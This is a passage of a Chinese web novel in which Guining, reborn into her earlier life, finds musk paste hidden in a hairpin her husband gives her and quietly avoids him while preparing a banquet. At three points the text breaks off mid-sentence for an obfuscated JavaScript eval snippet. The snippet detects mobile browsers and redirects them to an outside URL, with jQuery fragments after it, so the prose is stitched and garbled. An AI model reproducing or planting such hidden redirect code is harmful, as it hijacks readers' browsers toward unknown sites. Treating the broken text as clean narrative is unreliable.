弘文伯老伯爷早年间因护驾而亡，留下未成年的一儿一女，可偏偏天有不测风云，唯一的儿子因一场席卷京城的瘟疫突然丧命，自此弘文伯府绝嗣。 为了延续弘文伯府的爵位，先皇看在老伯爷护驾有功的份上，特许弘文伯老夫人过继一名嗣子，延续香火。后这名嗣子娶了一位锦衣卫小旗官的侄女邓氏为妻，也就是如今归宁的婆母邓氏。邓氏生了一儿一女，儿子就是归宁的夫君，萧元绰。 弘文伯老夫人的女儿，也就是归宁的母亲，下嫁给宋家出身的探花郎，也就是归宁的父亲。老夫人选中这门亲事的主要原因是宋家关系简单，女儿下嫁绝不会受任何委屈。 好像上天故意与弘文伯府的后人过不去，归宁的弟弟自幼走失，寻找多年无果。归宁的父亲在督办漕运时遇到了倭寇劫掠百姓，率众奋起杀贼。中途为了救人不幸被箭矢射中，重伤不治而亡。留下她们孤儿寡母，险些被亲族吃了绝户。 外祖母看女儿实在没了依靠，才写信让她们母女来京师投靠，并将归宁留在身边教养。而归宁的母亲则选择继续留在宋家，独自一人撑起宋家的门楣，为父亲守节，继续寻找丢失的弟弟。 如此自小在弘文伯府老夫人跟前受教的归宁，才有了和萧元绰一起长大的机会，成就青梅竹马的情分。 在外祖母心里，待母亲总比其他孩子亲近些，连带她这个外孙女都比嫡亲孙女受外祖母偏爱。看他们二人情投意合，故做主成全了这门亲事。 亲上加亲，又是知根知底两小无猜的情谊，让归宁实在想不明白，前世的萧元绰为什么要那么对她。 前世归宁为了他的前程殚心竭虑，内主中馈外结贵妇，倾尽一切助他平步青云，而这一切都少不了白花花的银子铺路。本朝以廉治国，官员俸禄微薄，谁不羡慕萧大人有一个好岳家？ 宋家虽然最不缺的就是银子，可没有一直拿娘家补贴夫家的道理，归宁不仅这样做了，而且不求回报。 萧元绰从不受先皇器重，到之后五年间连升三级，至前世归宁离世前颇得张首辅赏识，期间都少不得家里这位贤妻出谋划策。二人也一度成为京城官场上人人艳羡的神仙眷侣。 她到底哪点对不起他，让他能狠下心来那么欺骗她？表面上一往情深，暗地里却容不下她的一个孩子。宋家没有人可以威胁萧家的地位，若是她能留个孩子，宋家的一切，会顺理成章地归到萧家名下。 萧元绰想要她的助力，想要宋家的家财，想尽办法利用她，却不想留她的孩子，那是多么恨她！ 还有太夫人邓氏，对她更是恨之入骨的吧！ 邓氏一直有个心结，就是未能让萧元绰娶自己的侄女为妻，借助伯府的势力提携邓家。只是后来因归宁一直未能生育，出于亏欠，才主动提出让萧元绰纳邓家女为贵妾。 可归宁自从过门后，从未亏待过邓姨娘，甚至用自己的嫁妆填补了邓家给伯府造成的亏空。邓氏曾感激涕零地拉着她的手，说自己娶了一个好儿媳，未来一定把她当亲闺女看待，在外人面前逢人便夸。 渐渐地，归宁也将之前的隔阂慢慢淡忘了，以为可以以真心换真心，婆母是从心底里感激她的付出。 所以前世在她知道真相前，深觉邓氏这个婆母待她不薄，人前人后都是在替她说好话，也从不插手内宅之事。无论归宁怎么处置，邓氏都是一副笑吟吟的模样，偶尔稍有偏私，也会顾忌她的脸面。 自老伯爷过世之后，外祖母尚在时，邓氏常年吃斋念佛，打扮也素淡，头无重饰，衣无重彩，待下人宽和，对待归宁也是夸不离口。 而她过门之后不久，外祖母病逝，邓氏也没有拿出婆母的威严，给她立规矩，而是安心的做了个富贵闲人，将自己伪装的毫无破绽，硬生生地将归宁这个年轻儿媳熬死。 归宁躺在拔步床上，辗转反侧，往昔种种历历在目。如今一寸一寸细细回忆起来，只觉浑身发冷，却始终理不透其中的症结。 人心难测，越理越乱，容易让自己走入死胡同。归宁最后甩了甩头，努力将往昔种种通通赶出识海。 闭上眼，长舒一口气，暗下决心：既然有机会再来一遭，她不想再度沦为被人利用的棋子，更不想再以死做局。她要一步步，光明正大地走出这牢笼，给自己一个新生。 打定主意之后，心情也随之舒畅了不少，一觉竟然睡到日上三竿。 往昔归宁都是卯时起床，到正堂去见了管事，问过差事；辰时去给婆母请安，伺候婆母用过早饭；辰时过半，才回到自己的院子，和几个大丫头一起吃过饭，然后翻看账册。午时准时用饭，吃过饭后会拿起花样子描个花，然后小憩片刻。 睡过中觉后，再有一波婆子来回话，处理完这些事，又该去给婆母请安，陪婆母诵经半个时辰，再回到自己院中，简单吃过晚饭，梳洗之后靠在临窗的炕上翻看自己喜欢的书籍。 萧家人丁不旺，但规矩不能坏，该维持的体面要有。老伯爷生前有两个姨娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541640|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，都有生育。齐姨娘膝下有一子，但一年前过世了。秋姨娘育有一女，今年刚满十二。 这就是归宁寻常的一日。若是谁家有婚丧嫁娶，还要提前准备节礼，问候过婆母，再行出门。每隔十日，她还要去探望母亲一次。 今日明知萧元绰要归来，归宁一觉睡到巳时才醒。中途香冬叫醒过她一次，归宁翻了个身，迷迷糊糊道了句：“我不舒服，让那些管事先散了吧，午后再来。” 随后又让周嬷嬷去给太夫人邓氏递话：“夫人身子不适，晚些再来请安。” 邓氏平日里一直很和善，点了点头，关切道：“要不要紧？需不需要请大夫？” 周嬷嬷笑道：“不打紧，可能天气骤变，有些着凉。” 前日还是艳阳天，昨日就飘了些雪沫子，晚上又吹了一夜北风，今日天气虽放晴了，还是干冷干冷的。 邓氏叮嘱道：“可要养好身子。”萧元绰马上要回来，还有不少事要处理，里里外外可不能没有人操持。 周嬷嬷应着，回去给归宁回话。 归宁懒懒地起了床，拿起床头上的游记又看了起来，并不着急梳洗。似乎还停留在前世卧床不起的状态中，每日懒懒地在床上歇着，不用操心家中大小事宜，落得一身清闲。 香冬见她未用早饭，将一直温着的红枣燕窝粥端了进来，“夫人，多少吃两口吧。” 归宁放下书，斜靠在床边将整整一碗粥吃了个干干净净。现在她的身体很好，充满活力和朝气，依旧有用不完的力气，不似前世油尽灯枯的羸弱模样。 待胃里暖和了，才起身下床去梳洗。 此时，她身边陪嫁的四个大丫头还都未出阁，香冬负责保管她的衣服首饰和胭脂水粉等物，南烟负责帮她管账，翠夏负责饮食茶水，碧桃主管针线上的事，同时调教院子里的小丫头。 归宁的陪嫁有四个大丫头，两个妈妈，一个奶娘。周嬷嬷就是她的奶娘，两个妈妈一个是母亲身边的人唐妈妈，一个是外祖母留给她的老人秦妈妈，都是死心塌地追随她的心腹。 四个大丫头和周嬷嬷如今都还在她身边当差，至于唐妈妈，她帮归宁管理陪嫁的东西，经常不在府内。周嬷嬷负责院子里东西的采买、管教粗使婆子，发放对牌等事宜。而秦妈妈在四年前就已经过世了。 不过说起归宁的陪嫁人员，还有几段关于前世的旧事需要细细道来。 前世母亲过世之前，已经将宋家在苏州的产业打理的井井有条，对底下办事人一律量才录用。 母亲过世后，她留下的人归宁怕不服自己管教，又担心山高路远生出小人之心，做出暗中坑害主家的事，就让陪嫁的唐妈妈夫妻二人回了老家，看管苏州的产业，时时向她汇报情况。唐妈妈本就是母亲身边的心腹，有她在苏州坐镇，量那些宵小也不敢乱来。 而唐妈妈的两个孩子仍留在伯府当差，这也是大户人家的用人智慧，将一些家生子的孩子留在府里，老子放去祖宅看管庄子，互有牵制。这样身居内宅的归宁即便足不出户，也能有效控制宋家的家产不被外人染指。 5. 送簪 另外还有一位特殊的陪嫁不得不重点提起，那就是秦妈妈。 她原本是外祖母身边的人，归宁嫁入萧家后，年事已高的外祖母渐渐放手府中庶务，让秦妈妈辅助归宁打理伯府内宅。 外祖母病逝后，依祖制灵柩要运回祖籍应天安葬。归宁作为内宅妇人不便随行，就让秦妈妈代她走一趟，意外就发生在回程途中。胆大包天的水匪趁着夜黑风高袭击萧家船只，秦妈妈慌乱之中落水，不幸身亡。 事发后，萧家不仅报了官，还带了数十名家丁找了十多日，才在下游发现了秦妈妈的尸体。 因为此事，萧家不仅给了丰厚的抚恤金，还对秦家的后人格外优待。秦妈妈的女儿南烟，曾经一度跃升为归宁身边的第一管事大丫鬟，归宁对她也极为器重。 若不是前世秦家受一件事牵连，迫使归宁不得不放了南烟的身契，匆匆将她发嫁了出去，香冬也不会成为归宁身边第一得力之人，继而被邓家利用。 陪嫁的丫头中，归宁最舍不得的是南烟，只不过当年的事闹得太大，如果不妥善处置，秦家就要去吃官司。她留在府里实在是没脸，归宁只能让她离开。 自南烟出嫁之后，剩下的三个大丫头也都到了年纪，其中两个归宁遵循她们的个人意愿，放了身契，脱了奴籍，找了好人家风风光光发嫁出去。 唯有香冬嫁给了前院的管事，不愿意离开富贵的伯爵府，还留在归宁身边当差。她是归宁身边的老人，年纪和归宁相差无几，资历深，办事老练，在府里最有脸面，在其他几个大丫头陆陆续续离开之后，她就成了归宁身边最得力之人。 因以上种种，这些陪嫁的仆妇丫头在她前世病故前，唯有香冬和周嬷嬷还留在跟前。 前世的归宁已经万分小心，对身边人的选择极严，就是新人也让远在苏州的唐妈妈选了送上京来，免得人做手脚。可就是如此，她还是没能逃脱被人算计的命运。 重生之后的归宁，不想再为伯府倾尽心血落个惨死下场，醒来第一天就学会了躲懒。 之前每日天不亮孤芳苑就已经掌灯，上上下下井然有序地忙碌起来。今日因归宁的懈怠，其他人也跟着安静下来。 上午养足了精神，近中午归宁和几个心腹一起吃了午饭，紧接着就去歇中觉了，丝毫没有传话管家婆子问话的意思，只是吩咐前院的小厮，让他们给大爷收拾一下书房。 一直到未时正，才懒懒地坐在正堂上，让各管事回话。这次也不似之前那样事无巨细，大致听上两句，旋即道：“若无特殊，按往日规矩办就是，无需事事请示我，自去忙吧。” 婆子们只觉今日夫人不似往日那般盯得紧了，稍有纰漏或者差池，都能被她提点一番，纷纷猜测：许是大爷要回来，夫人心里开心，不愿意追究。 打发了这些人，归宁手中这盏茶还没吃完，周嬷嬷就挑帘进来道：“夫人，快，大爷进垂花门了。” 归宁放下茶盏，不紧不慢地整了整身上的衣衫，揣着暖手炉，带着周嬷嬷和南烟去了邓氏居住的福寿堂。这里原本是外祖母居住的院子，外祖母病逝之后，邓氏搬了进来，并改名福寿堂。 归宁到时，邓氏已站在房檐下翘首以盼，见归宁到来，关切的询问了两句‘身体如何’等话，二人正说着，就瞧见萧元绰从抄手游廊的拐角处现身。 四年不见，昔日那个俊俏少年已经成为风度翩然的青年，一举一动都带着沉稳，看向归宁的眼中，多了些许深邃。 母子寒暄了两句，邓氏不忘当着萧元绰的面夸赞归宁：“多亏了阿宁里外操持，才维持了伯府的体面，你可要好好待她，可不准欺负她。” 萧元绰暗睇了归宁一眼，虽衣着素淡，却难掩楚楚清姿，站在那里如同静静绽放的白梅，如雪一般剔透，又暗藏幽香。她身上带着江南女子的温婉，又有北方女子的独立。 笑笑道：“辛苦阿宁了。” 归宁避开他幽沉的目光，福礼道：“夫君为父亲和祖母守孝，独自一人留在应天，才是辛苦。” 依本朝律，父母祖父母去世需服斩衰三年，归宁的舅舅在她刚嫁入萧家就突发疾病而亡，归宁的外祖母受不住打击，一病不起，很快撒手人寰。家中长辈接二连三过世，刚刚科举入仕的萧元绰不得不归家守丧。 在祖籍应天前前后后一守就是四年，所以二人虽成亲已久，一直分居两地。丁忧结束后，萧元绰被留在应天府户部任职，二人又是南北相隔。 归宁的母亲曾提议让归宁离开京师去应天府与萧元绰团圆，可萧元绰却道：“京师乃天子脚下，若想有一番作为，必须想办法重回京师，辛苦阿宁再多等我些时日。” 他的安排不是没有道理，如果归宁带着伯爵府所有女眷都去了应天府，京师的人脉关系就更难打通，想调回京师就是遥遥无期了。如今归宁留在京师四处走动，才不会断了人情往来。 独守空闺的这四年，归宁为了萧元绰能重回京师，真可谓下足了功夫。 比如文选清吏司员外郎与萧元绰乃同科进士，家道中落，老母常年卧病在床。其为官清廉，家底子又薄，给老母请医问药花销不菲。 本朝官员俸禄微薄，归宁听说后，暗中给了他家娘子不少药材。 再有萧元绰在守制期间，在南直隶省暗中走访，写了不少关于民生民情的策论，寄回京师之后，归宁稍作整理，呈给了杨阁老。杨阁老与归宁的外祖父曾同朝为官，关系匪浅；杨阁老的夫人与外祖母是手帕交，二人曾经无话不谈。 有了这层关系，再加上萧元绰的勤勉，终于等来了吏部的这一纸调令。 前世她等这一日等了太久，相隔四年后的重逢，流转在眸光中的喜悦怎么遮掩都藏不住，真真满心满眼都是他。 如今经历了被算计欺骗的劫后重生，归宁显得十分冷静，话语间多了几分疏离。 邓氏见夫妻二人如此客气，笑道：“都别在风里站着了，进来咱们好好说说话。” 当日，几人说了一下午的话，多是邓氏询问萧元绰这几年在应天过得如何，心疼他身边没有知冷知热的人照顾，很是清苦。 萧元绰说得比信里详细的多，时不时会抬眸偷瞧一眼归宁，见她专心地低头喝茶，突然道：“我带了苏州的碧螺春，一会儿拿给你尝尝。” 归宁露出一丝礼貌的笑颜，点头道：“多谢夫君。” 邓氏笑着打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541641|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣道：“这孩子怎么突然这么客气了，他送你东西不是应该吗？” 归宁面色一红，低眉不语。 至晚间，三人在太夫人邓氏房里吃了饭，喝了茶，邓氏就撵着二人回自己院子。 萧元绰送归宁回到孤芳苑，从怀里取出一支精致的累丝嵌宝石金凤簪，动作轻柔地为她插在鬓间，凝视她清雅的面容道：“父亲和祖母在天有灵，也希望咱们把以后的日子过好，从今以后可以打扮的艳丽些了。” 归宁从他身旁避开，转身到梳妆镜前，对着梳妆镜中那张年轻瑰丽的面庞，点头道：“多谢夫君。” 萧元绰紧跟两步，笑着抚上她的肩头，垂首在她耳边低语：“我前院还有些事情处置，你今日早些休息。” 归宁也从心里松口气，脸上笑意澹然，“夫君尽管去忙。” 待萧元绰走出孤芳苑，归宁招呼人服侍自己散发梳洗。一番收拾妥当之后，将众人遣了出去，独留周嬷嬷在外间伺候。 她走到梳妆桌前，取出那支金凤簪，将一支细长又柔软的银针插进凤头的嘴里轻轻搅了搅，再取出来时，能看到针尖处残留有淡黄色残渣，闻之有淡淡香气。膏体时间短，还不似十年后那样坚硬。 早已被伤透的归宁，暗暗叹了一声，呆愣片刻，才麻木地从怀里掏出绢帕，将绣花针和金凤簪仔细擦拭干净，不动声色地将东西收好，静静地躺回了拔步床上。 没猜错，这里面藏着的东西应该麝香膏子。 前世她也是偶然间发现的这个秘密。 离世前，香冬只说大爷默许邓家在她的胭脂里暗暗掺入了麝香，可她不知道，萧元绰回来送自己的第一份礼物中就藏了猫腻。 当时归宁知道真相后大发雷霆，随手将梳妆台上的一件首饰扔了出去，而这个正是这支金凤簪。 金凤簪哐当落地，凤头处因猛烈撞击而变了形，归宁不想让萧元绰生疑，命周嬷嬷偷偷拿出去找人修补。 修补中，周嬷嬷发现了这个惊天的秘密。那时里面的膏体已经风干，时隔多年早已没了药效。可最初的药效有多猛烈，谁能说得清？归宁的第一个孩子是不是就是因这支她当宝贝一样喜欢的发簪而诱发小产的？ 当晚归宁气急攻心，咳出一大口鲜血。 临去前，她特意让周嬷嬷将这支发簪给自己戴上，将萧元绰无意间留下的证据带进棺材里。 或许连老天都觉得她前世被瞒的太苦，才给了她这个重生再来的机会。可邓家在锦衣卫为官，萧家又是萧元绰的一言堂，她一个内宅妇人，就是知道真相，又如何能翻天。 一切还需从长计议。 未来两日且有的忙，她还是要做好一个伯爵府夫人的本分，不能失了体面。伯爵府是外祖母倾尽一生心血撑起来的门面，也是母亲这位寡居娘子和她这个萧家宗妇的倚靠。 没有萧家这棵大树依仗，守寡的母亲不可能守住宋家的家财，更没有人脉继续寻找走失的弟弟。 覆巢之下无完卵，她和萧家有剪不断理还乱的血亲，既不能与萧元绰撕破脸，更不能将伯爵府推向深渊，可她还想逃离，左思右想，只觉前路漫漫，万分艰难，且走一步是一步吧。 6. 躲避 萧元绰归来，是萧府一大喜事。 长姐萧元荷和姐夫、外祖母的娘家人盛昌伯府姚家、邓氏的娘家人，最后还有母亲等亲近之人，第二日都上门来道喜。 归宁唯对未来的邓姨娘多看了几眼，邓家二小姐，萧元绰母亲堂兄家的姑娘。 邓氏早年丧父，自幼跟着伯父长大，邓伯父原是一名锦衣卫，后来邓氏攀上了伯爵府，升任为总旗。邓伯父病逝后，其在锦衣卫当值的长子荫补了他的职位。弘文伯科举入仕后，曾几次推举引荐邓家，最后邓氏的堂兄，最终做到了千户的位置。 只是弘文伯故去没多久，邓氏的堂兄在一次抓捕逆贼时，不幸殒命，不仅丢了性命，而且寸功未立。这次朝廷驳回了邓家儿子上书荫补其父职位的奏请，如今邓氏堂兄的儿子，也就是邓二姑娘的哥哥邓睿江，也只做到了总旗。 这次邓睿江带着邓二姑娘邓雪柔，一起前来道贺。邓睿江着一身飞鱼服，腰上挂着绣春刀，走起路来步步生风，偏又生了一副英朗的面庞，就是败絮其中让人看着也是金玉其表。 邓雪柔莲步轻移，身姿娉婷，上着鹅黄色袄子，下着石榴裙，身披大红色斗篷。斗篷领口处一圈狐狸毛在北风中轻轻摇摆，映衬出一张打扮浓艳的脸庞。胭脂红，口脂艳，眉似远山，秋水盈盈。一看就是经过一番精心打扮。如今芳年十五，已到了谈婚论嫁的年纪。 归宁守孝多年，衣橱中极少有鲜艳的衣服。这几年身量一直在长，也赶不及做几套艳色的衣裙，穿着依旧素淡，唯有鬓间的那支金凤簪，彰显着她不同一般的地位。 邓氏一直拉着邓雪柔说话，归宁作为女主人，忙里忙外安排家宴，又将萧元绰从江南带回来的礼物按各自喜好分好送给大家。这些还是她写信给萧元绰，让他提前置备的，至于怎么分送，当是她最熟悉。 当天闹了一日，萧元绰在书房忙完，再去孤芳苑时，下人们回复夫人太累，已经歇下了，他只能又折回了前院。 接下来几日，两人都很忙碌。 萧元绰刚刚调回京师，有一大堆公务要处理，而归宁要忙着准备庆宴。 依祖制，上任弘文伯逝世之后，世子萧元绰就可上书朝廷请求恩准他袭爵。户部核实后，上报皇上，由皇上朱笔批示后，最终由验封清吏司发放诰敕，正式袭爵。 而这些都是在孝期进行，不仅不能大肆庆祝还要去祖籍守孝。是以，一般都会在守孝归来，官复原职之后，摆宴庆祝。 如今萧元绰调任京官，又袭得爵位，就该宴请同僚好友庆祝一番。 归宁翻看了黄历，将庆宴定在了十一月十二。按照惯例，将定好的日子，拟定的菜品，请哪家戏班子都有什么戏，要请什么人等等，都一一说给郑氏。 以前她都是在早上服侍邓氏用饭时，将府中事说给她，而今日她特意选择在了酉时二刻。 果真，才开了个头，下值回来的萧元绰就过来给邓氏问安。归宁福了福身子，继续刚才的话头。正好趁两人都在，把这事说了，免得后边萧元绰再来私下寻她。 归宁记得很清楚，前世，他们就是在庆宴前一晚，萧元绰借询问庆宴事宜，宿在了孤芳苑。这次归宁特意在请人一事上露了些破绽，让他们二人自己去添补，让萧元绰没时间闹她。 几人说了些庆宴的详情，眼见天色已晚，邓氏要留二人用饭，归宁起身笑道：“母亲留饭本不该辞，只是近来事多，一会儿管事婆子们还要回话，再晚恐怕内院落了钥，不方便。” 老太太在时，从不让邓氏在跟前伺候吃饭，给足了邓氏脸面。自归宁掌家后，她会依着规矩伺候邓氏用早饭，午饭和晚饭都是各自吃。因着归宁是当家主母，是老太太钦定的掌家人，要树立自己的威信。 邓氏笑道，挥挥手：“那你快去忙吧，母亲就不留你了。” 萧元绰本想和她多说几句话，见她走得匆忙，只好作罢。转身坐到邓氏跟前，陪她用晚饭。 邓氏盛了一碗人参老鸭汤给他，笑着安抚道：“急什么？都娶进门了，还能跑了不成？” 萧元绰低眉用饭，不知道是自己的心里藏了事，还是太久不见，昔日总喜欢缠着他的小姑娘变了，总觉得他们之间疏远了不少。 用过饭，萧元绰还是去了孤芳苑。此时回话的婆子们刚散，与进院的他撞了个正着，纷纷福身见礼。 萧元绰挑帘进屋，见屋内的炕几上放了一沓子账本，还有不少大红色请柬，知道她今天又要忙。 这些归宁本可以留在白日做，可她有意放在晚上，让萧元绰自觉去书房歇息。 萧元绰见南烟端来的茶是金骏眉，眉头微蹙道：“不如将我带来的碧螺春沏来吃？” 归宁将茶盏端在手上，轻啜了一口，笑道：“那茶吃起来最是提神醒脑，这会子吃，恐怕不好。夫君要是不怕晚间睡不着，我让她们沏来给你？” 萧元绰见她笑颜清雅，眉目如画，话语温柔缱绻，极是勾人，不由往她身边靠了靠，压住她拿起请柬的手，低低道：“我帮你写吧。” 归宁面色一僵，旋即笑道：“这是准备写给女眷的，夫君要写的已经送去书房了。” 萧元绰轻轻握了握她的手，温声道：“放在这里也是一样的，我让她们取来，我们一起在这里写。” 归宁心里微沉，暗道：难道真就躲不过去吗？ 可她不想再被算计，不想再经历一次小产之痛，更不想与这人有太多瓜葛。 缄默少许，归宁慢慢收回手，起身道：“那妾身去给夫君沏茶。” 萧元绰见她如此紧张，笑着点了点头。见她出了屋，随手拿起炕几上的对牌、账本等翻看，可没看几页，周嬷嬷就进来道：“大爷，秋姨娘派人传话说二姑娘病了，打发人来拿药。” 归宁正愁不知如何打发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541642|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧元绰，见到秋姨娘派来的人，如同碰到了救星，飞快地接过话茬，道：“吃药可不比吃饭，怎么能随便给？是药三分毒，孩子小，二妹妹身子又弱，可不能乱用药。我还是过去瞧瞧吧，若是严重，还是得请大夫过来看看才妥当。” 转头对萧元绰道：“夫君，今天可能要折腾到很晚，要不您先回书房歇着？” 萧元绰眸光幽深，面色依旧平静，沉默几息，才“嗯”了一声，起身道：“那我先走了，阿宁也别太累了，大夫来了让丫头婆子们盯着些就是。” 归宁应了一声，送别了萧元绰，才带着南烟去了秋姨娘的院子。 南烟很不解夫人为什么突然对两个姨娘这么上心，路上解释道：“也不是什么大病，听下人们说是二姑娘贪嘴，吃撑了，难受的睡不着，秋姨娘打发丫头找夫人要一粒消食丸，夫人也用不着大晚上这么兴师动众的，不如我过去瞧瞧，夫人早点儿歇了吧。” 归宁坚持道：“我身为长嫂，又是管家人，怎么也该过去看看。” 南烟见劝不过，索性也不再多说，二人很快到了秋姨娘的院子。 原是归宁知道邓氏与萧元绰靠不住，有意拉拢秋姨娘和齐姨娘，这几日特意叮嘱厨房不可克扣二人炭火与伙食，更是从自己份例里选几样不错的菜给二人送过去，今天还额外多了一份糖蒸酥酪，正对小孩子胃口。 以前她知道邓氏不喜欢两位姨娘，平日里不敢与她们走太近，只是暗中多贴补些。后来自己又多年无所出，行事更谨慎了些，对她们确实照顾不到。 两位姨娘都是老实本分的人，就是屋子里短了什么，都不敢找她提，能忍则忍，今日见归宁亲来，秋姨娘有些受宠若惊，忙将人往里请：“不是什么大事，怎么劳动夫人亲来了。” 归宁来到萧二姑娘元昕的床前，见小孩子小脸紧皱，纯真的眼睛里冒着泪花，可怜兮兮地喊她：“大嫂嫂……” 归宁心间一软，手放在她圆鼓鼓的肚子上轻轻揉了揉，安慰道：“以后想吃什么尽管和大嫂嫂说，不要这么贪嘴，咱们可不是吃了今天没明天的人家，这样传出去会被人笑话的。” 秋姨娘不想为这点子小事请大夫，弄得兴师动众，回头太太定会喊她过去训话，乞求道：“夫人，您那里有没有消食丸，给她吃一粒就好了。” 归宁对南烟道：“去取两粒山楂丸来，再把屋里的陈皮普洱茶包一些。” 归宁安慰了元昕两句，又对秋姨娘道：“以后屋子里缺什么尽管打发人去给我说，若是下人有不恭敬或不周到的地方，也不要忍着惯着。你是给萧府诞下子嗣的人，要自重。这样元昕才会有依靠，不被人欺负。” 这话已经说得很清楚了，归宁不指望秋姨娘能反抗邓氏，只是希望她能信任自己。 见萧元昕吃完药睡下，归宁才回到自己院中，账本也不想看，请帖更不想写，倒头睡下了。 7. 阁老夫人 接下来两日，萧元绰因着有公事要忙，一直没踏足孤芳苑。直到家宴前一日的中午，才特地从衙署回来，到后院陪归宁用午饭。 萧元绰自幼在北方长大，不喜欢吃苏州菜，在应天的几年已经吃得够够的了，如今见归宁面前都是江南菜，有些难以下筷。 尤其是那道西湖醋鱼，他平生最不爱吃。以前两人经常一起在祖母跟前用饭，祖母为根据二人的喜好安排菜谱，他喜欢什么不喜欢什么，归宁心里很清楚。 见他下筷有些迟疑，归宁略有些赧然道：“不知道夫君会过来吃饭，我让厨房马上再做几样菜来。” 萧元绰见她如此在意自己的一举一动，心下一暖，拉着她坐下，笑笑道：“无妨，我没那么挑剔，天气冷，饭菜凉得快，快吃吧。”他下午不去上值了，今日是特意回来陪陪她，他们成亲已有四年，却聚少离多。好不容易团聚，应该多亲近亲近才是。 而归宁却另有安排，两人刚用过饭，她就要准备出门。 当年外祖母尚在时，与一些出身贵胄的老太君关系极好，若是她亲自去送请帖，也是能请来的，如今归宁不想再费太多心思，只是象征性的送了请帖，以那些人的身份，回个帖子就是了。 唯有杨阁老的夫人，归宁想亲去拜访一下。原因无他，只因杨阁老与外祖父是同科进士，杨阁老还是那一届的榜眼。那天本该是杨阁老和外祖父一起去见皇上，只不过杨阁老临时有事，托外祖父一人去面圣，才让祖父一人面对刺客，为护驾身亡。 杨阁老心里总觉得对不住外祖父，对外祖母格外照顾。归宁如果去请，位高权重的阁老，她是没有机会一见的，但阁老的夫人一贯与外祖母交好，她甚至还抱过母亲，看在当年的情分上，还是会赏脸来坐一坐。 归宁清楚，明日会发生一件不大不小的事，于旁人可能是闹剧一场，于她就是悲剧的开始，她必须要有所防范。 能请来杨阁老的夫人，那是极大的颜面，萧元绰没有耽搁归宁时间，而是亲自送她出了垂花门，目送她的马车离开，才转身回书房。 归宁带着一罐自己亲手腌制的酱菜、两支浙江湖州的湖笔、一方安徽徽州的徽墨、一沓安徽宣州的宣纸、一块广东端州的端砚，前去拜会。 杨阁老的夫人陈氏喜欢祖母腌制的酱菜，归宁得祖母真传，特意做了一份孝敬杨老夫人。杨阁老酷爱文房四宝，归宁也是投其所好。 前世，她去拜访时，特意说是萧元绰从应天带回来的；而这次她实话实说：“因我父亲生前喜欢舞文弄墨，母亲搜集了不少，而每次见到这些东西都会睹物思人，留在身边又用不上，我就讨了来，孝敬老祖宗，也算物尽其用。” 杨老夫人自然能听出话中意，也不拆穿她，因她喜欢热闹，转而笑道：“戏班子请的哪家？” 归宁会心一笑，“昆曲和黄梅戏都有，保证让您听个够。” 杨老夫人许久没有见过归宁的母亲，又问道：“你母亲去吗？” 归宁黯然摇了摇头，“母亲寡居多年，最不爱这种热闹，我年轻，恐怕镇不住场子，老太太可要帮衬着我些。” 杨老夫人深知邓氏是个撑不起来的，拍了拍归宁的手，道：“放心，明天我一定去。”三天前收到了请帖，她年纪大了，天气又冷，本不想动，今日归宁亲自来请，也就不摆谱了。 几个女眷凑在一起，又说了些家里长短。冬日天黑得早，申正归宁起身告辞。 这次出门，归宁只带了周嬷嬷陪同，驾车的是秦管事的小儿子，秦管事是外祖母身边的老人，故去的秦妈妈是秦管事的亲妹妹，他们归宁都很信得过。 几人没有着急回弘文伯府，而是拐进了一条街外的窄胡同。 这里是母亲居住的倚梅园。 归宁的马车刚要往巷子里拐时，恰胡同里的另一辆马车要出来，两辆车在胡同口差点儿撞在一处。 毫无防备的归宁重重地撞在马车壁上，不由得痛呼了一声。 一同坐在马车里的周嬷嬷将归宁扶正，挑起车帘一角，正要骂人之际，对面马车里的人先开了口：“抱歉，惊扰了娘子。” 周嬷嬷循着挑开的车帘缝隙看去，只瞄到半张掩在马车里的年轻面庞和素色锦衣的一角，因着天色有些暗，看不太真切，闻听声音，猜测是极有教养的男子。 人家既然道了歉，周嬷嬷也礼貌道：“也是我们心急了。” 对着赶车的小厮道：“秦三，往后退一些把路让开，让公子他们先出来。”秦管事家的小儿子行三，熟悉的人都亲切的喊他秦三。 胡同太窄，容不得两辆马车并排而过，只能是他们先让开，让对方出来，才能拐进去。 对方拐出来后，没有着急走，而是客气道谢：“多谢娘子和嬷嬷。”许是有所顾忌，他这次没有挑开车帘。 归宁作为内宅妇人不好与陌生男子搭腔，周嬷嬷笑笑道：“公子忒客气了。” 秦三朝着对方拱拱手，将马车赶入了胡同，在最后一户停下，然后去敲门：“柳妈妈快开门，是姑娘回来了。” 门很快应声而开，周嬷嬷扶着带着帷帽的归宁下车，进了院子。 柳妈妈边将归宁往屋里引，边道：“娘子去京郊温泉山庄小住了，走前留了话，若是姑娘想去，随时给她递个信儿，她派人来接您。” 